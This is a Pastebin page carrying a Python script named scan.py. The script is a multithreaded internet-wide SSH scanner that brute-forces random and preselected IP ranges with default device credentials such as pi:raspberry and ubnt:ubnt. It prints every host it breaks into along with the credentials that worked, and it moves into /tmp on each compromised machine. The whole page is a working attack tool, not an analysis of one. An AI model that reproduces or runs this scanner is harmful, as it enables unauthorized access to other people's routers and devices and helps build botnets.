Advertisement
Fs0usa

scan.py

Apr 17th, 2017
198
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 5.91 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import threading
  3. from paramiko import SSHClient
  4. import paramiko
  5. import random
  6. import socket
  7. import time
  8. import sys
  9.  
  10. paramiko.util.log_to_file("/dev/null")
  11.  
  12. blacklist = [
  13.     '127'
  14. ]
  15.  
  16. passwords = [
  17.     "vyos:vyos",
  18.     "vyatta:vyatta",
  19.     "pi:raspberry",
  20.     "ubnt:ubnt"]
  21.  
  22. if sys.argv[4] == '1':
  23.     passwords = ["vyos:vyos", "vyatta:vyatta", "pi:raspberry"]
  24. if sys.argv[4] == '2':
  25.     passwords = ["ubnt:ubnt"]
  26. jackmeoff = random.choice(["Start the rep"])
  27. raw_input('Press <ENTER> To '+jackmeoff)
  28.  
  29. ipclassinfo = sys.argv[2]
  30. if ipclassinfo == "A":
  31.     ip1 = sys.argv[3]
  32. elif ipclassinfo == "B":
  33.     ip1 = sys.argv[3].split(".")[0]
  34.     ip2 = sys.argv[3].split(".")[1]
  35. elif ipclassinfo == "C":
  36.     ips = sys.argv[3].split(".")
  37.     num=0
  38.     for ip in ips:
  39.         num=num+1
  40.         if num == 1:
  41.             ip1 = ip
  42.         elif num == 2:
  43.             ip2 = ip
  44.         elif num == 3:
  45.             ip3 = ip
  46. class sshscanner(threading.Thread):
  47.     global passwords
  48.     global ipclassinfo
  49.     if ipclassinfo == "A":
  50.         global ip1
  51.     elif ipclassinfo == "B":
  52.         global ip1
  53.         global ip2
  54.     elif ipclassinfo == "C":
  55.         global ip1
  56.         global ip2
  57.         global ip3
  58.     def run(self):
  59.         while 1:
  60.             try:
  61.                 while 1:
  62.                     thisipisbad='no'
  63.                     if  ipclassinfo == "HAZZ":
  64.                         hAZZYE = ["177","138","189","169","200","191","187"]
  65.                         self.host = random.choice(hAZZYE)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  66.                     elif ipclassinfo == "A":
  67.                         self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  68.                     elif ipclassinfo == "B":
  69.                         self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  70.                     elif ipclassinfo == "C":
  71.                         self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  72.                     elif ipclassinfo == "BRAZIL":
  73.                         br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  74.                         self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  75.                     elif ipclassinfo == "SUPER":
  76.                         yeet = ["122","131","161","37","186","187","31","188","201","2","200"]
  77.                         self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  78.                     elif ipclassinfo == "LUCKY":
  79.                         lucky = ["125.24","125.25","125.26","125.27","125.28","113.53","101.51","101.108","118.175","118.173","182.52","180.180"]
  80.                         self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  81.                     elif ipclassinfo == "LUCKY2":
  82.                         lucky2 = [ "122.178","122.170","182.65","182.68","182.70","182.75","186.112","186.113","186.114","186.115","186.116","186.118" ]
  83.                         self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  84.                     elif ipclassinfo == "RAND":
  85.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  86.                     elif ipclassinfo == "INTERNET":
  87.                         lol = ["1"]
  88.                         self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  89.                     else:
  90.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  91.                     for badip in blacklist:
  92.                         if badip in self.host:
  93.                             thisipisbad='yes'
  94.                     if thisipisbad=='no':
  95.                         break
  96.                 username='root'
  97.                 password=""
  98.                 port = 22
  99.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  100.                 s.settimeout(3)
  101.                 s.connect((self.host, port))
  102.                 s.close()
  103.                 ssh = paramiko.SSHClient()
  104.                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  105.                 dobreak=False
  106.                 for passwd in passwords:
  107.                     if ":n/a" in passwd:
  108.                         password=""
  109.                     else:
  110.                         password=passwd.split(":")[1]
  111.                     if "n/a:" in passwd:
  112.                         username=""
  113.                     else:
  114.                         username=passwd.split(":")[0]
  115.                     try:
  116.                         ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  117.                         dobreak=True
  118.                         break
  119.                     except:
  120.                         pass
  121.                     if True == dobreak:
  122.                         break
  123.                 badserver=True
  124.                 stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  125.                 output = stdout.read()
  126.                 if "inet addr" in output:
  127.                     badserver=False
  128.                 if badserver == False:
  129.                         print 'Found '+self.host+'|'+username+'|'+password+'|'+str(port)
  130.                         ssh.exec_command("cd /tmp")
  131.                         time.sleep(20)
  132.                         ssh.close()
  133.             except:
  134.                 pass
  135.  
  136. for x in range(0,int(sys.argv[1])):
  137.     try:
  138.         t = sshscanner()
  139.         t.start()
  140.     except:
  141.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement